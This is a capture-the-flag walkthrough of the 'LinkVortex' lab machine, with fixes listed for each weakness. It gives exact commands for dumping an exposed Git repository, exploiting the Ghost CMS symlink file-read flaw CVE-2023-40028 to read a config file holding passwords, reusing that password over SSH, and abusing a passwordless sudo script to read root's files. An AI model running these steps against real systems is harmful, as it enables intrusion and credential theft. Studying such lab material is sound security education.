LinkVortex
Summary
The 'BitByBit Hardware' Ghost CMS site had its development subdomain misconfigured to serve the raw application Git repository over HTTP. Dumping that repository revealed a staged commit containing a hardcoded Ghost admin password in plaintext. That credential authenticated directly to the Ghost admin panel, which ran Ghost 5.58.0 — a version vulnerable to CVE-2023-40028, an authenticated arbitrary file-read via symlink-carrying zip imports.
Two targeted file reads — one against the Ghost production configuration file and one against the user home directory — disclosed the SSH password for OS account 'bob', which had been reused from the application layer. Logging in as bob and checking sudo permissions revealed passwordless rights to run a privileged cleanup script; the script blindly followed symlinks as root, allowing a symlink planted in its watched directory to expose the root flag and confirm full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Register both vhosts for local name resolution.
$ echo "$TARGET linkvortex.htb dev.linkvortex.htb" | sudo tee -a /etc/hostsConfirm the .git directory returns HTTP 200 and is browsable.
$ curl -s -i -H 'Host: dev.linkvortex.htb' http://$TARGET/.git/HEADReconstruct the full source tree locally from the exposed Git objects.
$ git-dumper http://dev.linkvortex.htb/.git /tmp/lvFixBlock public HTTP access to .git directories on all web serversHigh
Exact commands 2
Inspect the staged index diff; exposes the admin password substitution.
$ cd /tmp/lv && git diff --cached -- ghost/core/test/regression/api/admin/authentication.test.jsOptional: sweep full commit history for additional embedded secrets.
$ cd /tmp/lv && git log --all --onelineFixPurge hardcoded credentials from source code and Git history, and enforce secret scanningCritical
Exact commands 1
Log in as Ghost admin; the session cookie is saved to cookies.txt for subsequent requests.
$ curl -s -i -c cookies.txt -H 'Content-Type: application/json' --data '{"username":"admin@linkvortex.htb","password":"'"$PASSWORD2"'"}' http://linkvortex.htb/ghost/api/admin/session/Exact commands 4
Create the Ghost content-images directory structure and plant the symlink to the target config file.
$ mkdir -p /tmp/exploit/content/images/2026/07 && ln -s /var/lib/ghost/config.production.json /tmp/exploit/content/images/2026/07/cfg.pngPack the directory into a zip; --symlinks preserves the link rather than resolving it at pack time.
$ cd /tmp/exploit && zip --symlinks -r /tmp/exploit.zip content/Upload via the Ghost database import endpoint; Ghost extracts and registers the symlink.
$ curl -s -b cookies.txt -F 'importfile=@/tmp/exploit.zip;type=application/zip' -X POST http://linkvortex.htb/ghost/api/admin/dbRequest the 'image'; Ghost resolves the symlink and returns the config file contents — read bob's password.
$ curl -s -b cookies.txt http://linkvortex.htb/content/images/2026/07/cfg.pngFixUpgrade Ghost CMS to a patched version that resolves CVE-2023-40028Critical
Exact commands 3
Validate the credential against SSH before opening a session.
$ netexec ssh linkvortex.htb -u bob -p "$PASSWORD"Open an interactive shell; authenticate with password.
$ ssh bob@linkvortex.htbCapture the user flag: <user.txt>.
$ cat /home/bob/user.txtFixNever store OS-level user passwords inside application configuration filesHigh
Exact commands 4
Enumerate bob's sudo rights; reveals the NOPASSWD rule for clean_symlink.sh.
$ sudo -l
(ALL) NOPASSWD: /opt/ghost/clean_symlink.shPlant the symlink to root.txt inside the directory the script monitors.
$ mkdir -p /home/bob/.cache && ln -s /root/root.txt /home/bob/.cache/a.pngInvoke the script as root; it follows the symlink to /root/root.txt and exposes its contents.
$ sudo /opt/ghost/clean_symlink.shCapture the root flag: <root.txt>.
$ cat /root/root.txtFixRemove the unsafe passwordless sudo rule and harden the symlink cleanup scriptCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.